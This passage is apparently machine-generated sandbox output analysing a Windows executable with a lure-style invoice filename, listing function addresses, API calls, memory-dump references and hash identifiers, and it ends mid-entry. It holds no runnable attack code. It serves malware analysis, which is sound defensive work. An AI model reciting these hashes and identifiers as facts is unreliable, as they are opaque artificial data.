                                                                                            Similarity
                                                                                            • API ID: Menu$CountItemStringWindow_wcslen
                                                                                            • String ID:
                                                                                            • API String ID: 1823500076-0
                                                                                            • Opcode ID: 3c1e0179b5075f45df12b398ec391808b8d2f1e7a16a5d1bec5683dd9427006f
                                                                                            • Instruction ID: 4b9e656becebfc5f52f27a1d7ad2c07a58398098864d75d3a5ce1c02cc274359
                                                                                            • Opcode Fuzzy Hash: 3c1e0179b5075f45df12b398ec391808b8d2f1e7a16a5d1bec5683dd9427006f
                                                                                            • Instruction Fuzzy Hash: 174117715083019FD320EF25CC45BABB3E8BF88314F10492EF55997252D7B8E9458BA9
                                                                                            Function 00448877 Relevance: 10.6, APIs: 7, Instructions: 130windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 0044890A
                                                                                            • SendMessageW.USER32(?,00000469,?,00000000), ref: 00448920
                                                                                            • EnableWindow.USER32(004A83D8,00000000), ref: 00448BAB
                                                                                            • EnableWindow.USER32(004A83D8,00000001), ref: 00448BC1
                                                                                            • ShowWindow.USER32(004A83D8,00000000,004A83D8,?,?), ref: 00448C37
                                                                                            • ShowWindow.USER32(004A83D8,00000004,004A83D8), ref: 00448C43
                                                                                            • EnableWindow.USER32(004A83D8,00000001), ref: 00448C58
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Window$Enable$Show$MessageMoveSend
                                                                                            • String ID:
                                                                                            • API String ID: 896007046-0
                                                                                            • Opcode ID: 440e8810410bf42a4c8e03fd117b8fd843bde7e89b0e2674ab81ad81c9f8ea0f
                                                                                            • Instruction ID: 0809a8548e22334437b8974569d6adfa08582830463fbdb99c3481629354d751
                                                                                            • Opcode Fuzzy Hash: 440e8810410bf42a4c8e03fd117b8fd843bde7e89b0e2674ab81ad81c9f8ea0f
                                                                                            • Instruction Fuzzy Hash: 63419E746043419FF7248B24C884B6FB7A1FB99305F18886EF98197391DA78A845CB59
                                                                                            Function 004413F0 Relevance: 10.6, APIs: 7, Instructions: 114windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 0044140E
                                                                                            • GetWindowLongW.USER32(?,000000F0), ref: 00441452
                                                                                            • GetWindowLongW.USER32(?,000000F0), ref: 00441493
                                                                                            • SendMessageW.USER32(01781BE0,000000F1,00000000,00000000), ref: 004414C6
                                                                                            • SendMessageW.USER32(01781BE0,000000F1,00000001,00000000), ref: 004414F1
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: MessageSend$LongWindow
                                                                                            • String ID:
                                                                                            • API String ID: 312131281-0
                                                                                            • Opcode ID: ed470013e842d905752aa6f8daaa5f1d8e955df317e7b96a507e5c494099af20
                                                                                            • Instruction ID: f6a862a32ccfd92e4f153a1965fa7dc80102ffdb8abe4b8a046001f82176c48d
                                                                                            • Opcode Fuzzy Hash: ed470013e842d905752aa6f8daaa5f1d8e955df317e7b96a507e5c494099af20
                                                                                            • Instruction Fuzzy Hash: 2F416A347442019FE720CF58DCC4F6A77A5FB8A754F24416AE5519B3B1CB75AC82CB48
                                                                                            Function 0044849C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 106windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • _memset.LIBCMT ref: 004484C4
                                                                                            • GetMenuItemInfoW.USER32(?,?,00000000,004A83D8), ref: 00448562
                                                                                            • IsMenu.USER32(?), ref: 0044857B
                                                                                            • InsertMenuItemW.USER32(?,?,00000001,004A83D8), ref: 004485D0
                                                                                            • DrawMenuBar.USER32 ref: 004485E4
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Menu$Item$DrawInfoInsert_memset
                                                                                            • String ID: 0
                                                                                            • API String ID: 3866635326-4108050209
                                                                                            • Opcode ID: 42a201a1e731261e29c9ff9b40de176b55a78da0b06957c9f64dc5096dc7767a
                                                                                            • Instruction ID: c1b4c65bd9dbf201e14e83578cc8030a3c247867dd5f1e451e409e2153a24926
                                                                                            • Opcode Fuzzy Hash: 42a201a1e731261e29c9ff9b40de176b55a78da0b06957c9f64dc5096dc7767a
                                                                                            • Instruction Fuzzy Hash: 9F417F75604341AFE710CF45C984B6BB7E4FB89304F14881EFA554B391DBB4E849CB5A
                                                                                            Function 0047244D Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 104sleepCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • InterlockedIncrement.KERNEL32 ref: 0047247C
                                                                                            • InterlockedDecrement.KERNEL32(004A7CAC), ref: 00472491
                                                                                            • Sleep.KERNEL32(0000000A), ref: 00472499
                                                                                            • InterlockedIncrement.KERNEL32(004A7CAC), ref: 004724A4
                                                                                            • InterlockedDecrement.KERNEL32(004A7CAC), ref: 00472599
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Interlocked$DecrementIncrement$Sleep
                                                                                            • String ID: 0vH
                                                                                            • API String ID: 327565842-3662162768
                                                                                            • Opcode ID: bfb173672284e31ba0a3017bb0c7d670cf276827bd066f711b3c3b49063f60eb
                                                                                            • Instruction ID: 7246262c18bb701d5349304b0e2d21290bf7c9637501dd5a114e6955e8e78370
                                                                                            • Opcode Fuzzy Hash: bfb173672284e31ba0a3017bb0c7d670cf276827bd066f711b3c3b49063f60eb
                                                                                            • Instruction Fuzzy Hash: 9631D2329082259BD710DF28DD41A8A77A5EB95324F05483EFD08FB251DB78EC498BED
                                                                                            Function 00448AFF Relevance: 10.6, APIs: 7, Instructions: 98windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • SendMessageW.USER32(?,00000401,?,00000000), ref: 00448B16
                                                                                            • GetFocus.USER32 ref: 00448B1C
                                                                                            • EnableWindow.USER32(004A83D8,00000000), ref: 00448BAB
                                                                                            • EnableWindow.USER32(004A83D8,00000001), ref: 00448BC1
                                                                                            • ShowWindow.USER32(004A83D8,00000000,004A83D8,?,?), ref: 00448C37
                                                                                            • ShowWindow.USER32(004A83D8,00000004,004A83D8), ref: 00448C43
                                                                                            • EnableWindow.USER32(004A83D8,00000001), ref: 00448C58
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Window$Enable$Show$FocusMessageSend
                                                                                            • String ID:
                                                                                            • API String ID: 3429747543-0
                                                                                            • Opcode ID: f5aca3f6d68f8169105ace43209457086b036621b25274999c7621d4cb9b91fc
                                                                                            • Instruction ID: 96ed947056310062a3fa6d2350adc65d304252fdbf70c479ab88671ed4e09c2c
                                                                                            • Opcode Fuzzy Hash: f5aca3f6d68f8169105ace43209457086b036621b25274999c7621d4cb9b91fc
                                                                                            • Instruction Fuzzy Hash: FC31B4706443819BF7248E14C8C4BAFB7D0EB95745F04492EF981A6291DBA89845C719
                                                                                            Function 0045D321 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 81COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • SetErrorMode.KERNEL32(00000001), ref: 0045D32F
                                                                                            • GetVolumeInformationW.KERNEL32(?,?,000000FF,?,?,?,?,000000FF,?), ref: 0045D3B3
                                                                                            • __swprintf.LIBCMT ref: 0045D3CC
                                                                                            • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D416
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: ErrorMode$InformationVolume__swprintf
                                                                                            • String ID: %lu$HH
                                                                                            • API String ID: 3164766367-3924996404
                                                                                            • Opcode ID: bd20e614eacc1ec6e7ce8a240dc663141bf9142d6fc10aee8c7bf862d4d2af0b
                                                                                            • Instruction ID: e4de0c6df68350460ad5232616e5185c9d799459bd1b640414cfcbd8d86849a8
                                                                                            • Opcode Fuzzy Hash: bd20e614eacc1ec6e7ce8a240dc663141bf9142d6fc10aee8c7bf862d4d2af0b
                                                                                            • Instruction Fuzzy Hash: 85314A716083019BC310EF55D941A5BB7E4FF88704F40892EFA4597292D774EA09CB9A
                                                                                            Function 00450DB4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 76windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00450E24
                                                                                            • SendMessageW.USER32(00000000,00000409,00000000,FF000000), ref: 00450E35
                                                                                            • SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00450E43
                                                                                            • SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00450E54
                                                                                            • SendMessageW.USER32(00000000,00000404,00000001,00000000), ref: 00450E62
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: MessageSend
                                                                                            • String ID: Msctls_Progress32
                                                                                            • API String ID: 3850602802-3636473452
                                                                                            • Opcode ID: 42656bfbb5a190feb894f1e63281698c22ff60bbec02a0e57f9bf8616b6fd2a5
                                                                                            • Instruction ID: b51c377fab27852337593a8f268aff884918310fa347e0537580fa9f3b853d23
                                                                                            • Opcode Fuzzy Hash: 42656bfbb5a190feb894f1e63281698c22ff60bbec02a0e57f9bf8616b6fd2a5
                                                                                            • Instruction Fuzzy Hash: 2C2121712543007AE7209A65DC42F5BB3E9AFD8B24F214A0EF754B72D1C6B4F8418B58
                                                                                            Function 00415702 Relevance: 10.6, APIs: 7, Instructions: 74threadCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • ___set_flsgetvalue.LIBCMT ref: 00415737
                                                                                            • __calloc_crt.LIBCMT ref: 00415743
                                                                                            • __getptd.LIBCMT ref: 00415750
                                                                                            • CreateThread.KERNEL32(00000000,?,0041568B,00000000,00000004,00000000), ref: 00415776
                                                                                            • ResumeThread.KERNEL32(00000000,?,?,?,?,?,?,00000000), ref: 00415786
                                                                                            • GetLastError.KERNEL32(?,?,?,?,?,?,00000000), ref: 00415791
                                                                                            • __dosmaperr.LIBCMT ref: 004157A9
                                                                                              • Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23
                                                                                              • Part of subcall function 00417EBB: __decode_pointer.LIBCMT ref: 00417EC6
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Thread$CreateErrorLastResume___set_flsgetvalue__calloc_crt__decode_pointer__dosmaperr__getptd__getptd_noexit
                                                                                            • String ID:
                                                                                            • API String ID: 1269668773-0
                                                                                            • Opcode ID: bb8068f02d799d687f86b9c43e1e9df3108372b57b840b2ce394e22bf251b6d0
                                                                                            • Instruction ID: 083f1b3d72dc2b4e3073d7627409da2efaae6cca9fbdfa2eb2c15b7cb2a145f7
                                                                                            • Opcode Fuzzy Hash: bb8068f02d799d687f86b9c43e1e9df3108372b57b840b2ce394e22bf251b6d0
                                                                                            • Instruction Fuzzy Hash: 4511E672501604EFC720AF76DC868DF7BA4EF80334F21412FF525922D1DB788981966D
                                                                                            Function 00439102 Relevance: 10.5, APIs: 7, Instructions: 46threadCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00438FE4: GetProcessHeap.KERNEL32(00000008,0000000C,0043910A,00000000,00000000,00000000,0044646E,?,?,?), ref: 00438FE8
                                                                                              • Part of subcall function 00438FE4: HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00438FEF
                                                                                            • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,00000000,00000000,00000000,0044646E,?,?,?), ref: 00439119
                                                                                            • GetCurrentProcess.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00439123
                                                                                            • DuplicateHandle.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0043912C
                                                                                            • GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00439138
                                                                                            • GetCurrentProcess.KERNEL32(?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00439142
                                                                                            • DuplicateHandle.KERNEL32(00000000,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 00439145
                                                                                            • CreateThread.KERNEL32(00000000,00000000,004390C2,00000000,00000000,00000000), ref: 0043915E
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
                                                                                            • String ID:
                                                                                            • API String ID: 1957940570-0
                                                                                            • Opcode ID: ae016cd78919e3da0d3d218cc031d8d4f693afb8d34ff927aa47fd3b6f506194
                                                                                            • Instruction ID: b388a4287fabc35bf2088fa38ebc9459a42e34e8a642192e1b63b89709cb9be3
                                                                                            • Opcode Fuzzy Hash: ae016cd78919e3da0d3d218cc031d8d4f693afb8d34ff927aa47fd3b6f506194
                                                                                            • Instruction Fuzzy Hash: 3BF0CD753413007BD220EB65DC86F5BB7A8EBC9B10F118919F6049B1D1C6B4A800CB65
                                                                                            Function 0041568B Relevance: 10.5, APIs: 7, Instructions: 37threadCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • ___set_flsgetvalue.LIBCMT ref: 00415690
                                                                                              • Part of subcall function 00416A84: TlsGetValue.KERNEL32(00411739,00416C10,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416A8D
                                                                                              • Part of subcall function 00416A84: __decode_pointer.LIBCMT ref: 00416A9F
                                                                                              • Part of subcall function 00416A84: TlsSetValue.KERNEL32(00000000,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416AAE
                                                                                            • ___fls_getvalue@4.LIBCMT ref: 0041569B
                                                                                              • Part of subcall function 00416A64: TlsGetValue.KERNEL32(?,?,004140F1,00000000), ref: 00416A72
                                                                                            • ___fls_setvalue@8.LIBCMT ref: 004156AD
                                                                                              • Part of subcall function 00416AB8: __decode_pointer.LIBCMT ref: 00416AC9
                                                                                            • GetLastError.KERNEL32(00000000,?,00000000), ref: 004156B6
                                                                                            • ExitThread.KERNEL32 ref: 004156BD
                                                                                            • __freefls@4.LIBCMT ref: 004156D9
                                                                                            • __IsNonwritableInCurrentImage.LIBCMT ref: 004156EC
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Value$__decode_pointer$CurrentErrorExitImageLastNonwritableThread___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
                                                                                            • String ID:
                                                                                            • API String ID: 4166825349-0
                                                                                            • Opcode ID: 185d0aae8fe32bab84a079219336c355dd614541d1aff55515eff8c05f91681e
                                                                                            • Instruction ID: 1015f584654e325efa3cacb901eba7c9ae2b5aefa54885f90b4e6d99173acdac
                                                                                            • Opcode Fuzzy Hash: 185d0aae8fe32bab84a079219336c355dd614541d1aff55515eff8c05f91681e
                                                                                            • Instruction Fuzzy Hash: 14F049745007009BD704BF72DD159DE7B69AF85345761C85FB80897222DA3DC9C1CB9C
                                                                                            Function 00434124 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 15libraryloaderCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • LoadLibraryA.KERNEL32(advapi32.dll,p#D,0043415E,p#D,?,00442370,?), ref: 00434134
                                                                                            • GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00434146
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: AddressLibraryLoadProc
                                                                                            • String ID: RegDeleteKeyExW$advapi32.dll$p#D$p#D
                                                                                            • API String ID: 2574300362-3261711971
                                                                                            • Opcode ID: 3da92f374f37a9fa7395fa6ef73d3af1d379715eec5b41da1672ebd70bf57acc
                                                                                            • Instruction ID: cb82693085896f9455b4638215a98dd7e3cb824177552166877179ce6000b7c2
                                                                                            • Opcode Fuzzy Hash: 3da92f374f37a9fa7395fa6ef73d3af1d379715eec5b41da1672ebd70bf57acc
                                                                                            • Instruction Fuzzy Hash: D8D05EB0400B039FCB105F24D8086AB76F4EB68700F208C2EF989A3750C7B8E8C0CB68
                                                                                            Function 0047B1D0 Relevance: 9.5, APIs: 6, Instructions: 489COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: c82efa3070467c2623ec738b5b2be2cd760763614a3dd1863134219050ad48d5
                                                                                            • Instruction ID: be39947db1ffbcb7075193c31d102fc15fe4f6af8d23ce90efbce3d2b6a77a88
                                                                                            • Opcode Fuzzy Hash: c82efa3070467c2623ec738b5b2be2cd760763614a3dd1863134219050ad48d5
                                                                                            • Instruction Fuzzy Hash: 4BF16D71108740AFD210DB59C880EABB7F9EFCA744F10891EF69983261D735AC45CBAA
                                                                                            Function 004336C7 Relevance: 9.3, APIs: 6, Instructions: 253COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetClientRect.USER32(?,?), ref: 00433724
                                                                                            • GetWindowRect.USER32(00000000,?), ref: 00433757
                                                                                            • GetClientRect.USER32(0000001D,?), ref: 004337AC
                                                                                            • GetSystemMetrics.USER32(0000000F), ref: 00433800
                                                                                            • GetWindowRect.USER32(?,?), ref: 00433814
                                                                                            • ScreenToClient.USER32(?,?), ref: 00433842
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Rect$Client$Window$MetricsScreenSystem
                                                                                            • String ID:
                                                                                            • API String ID: 3220332590-0
                                                                                            • Opcode ID: 3d0204db3781b081fd3de6a8efec2d06c6e501bf89adf1cf9fb69463b8de8f3e
                                                                                            • Instruction ID: 40e56d112be44df416332e5c874318f33691c6b0c201ea6c9f9086adb5117cf0
                                                                                            • Opcode Fuzzy Hash: 3d0204db3781b081fd3de6a8efec2d06c6e501bf89adf1cf9fb69463b8de8f3e
                                                                                            • Instruction Fuzzy Hash: E9A126B42147028AC324CF68C5847ABBBF1FF98715F04991EE9D983360E775E908CB5A
                                                                                            Function 00457838 Relevance: 9.2, APIs: 6, Instructions: 176COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
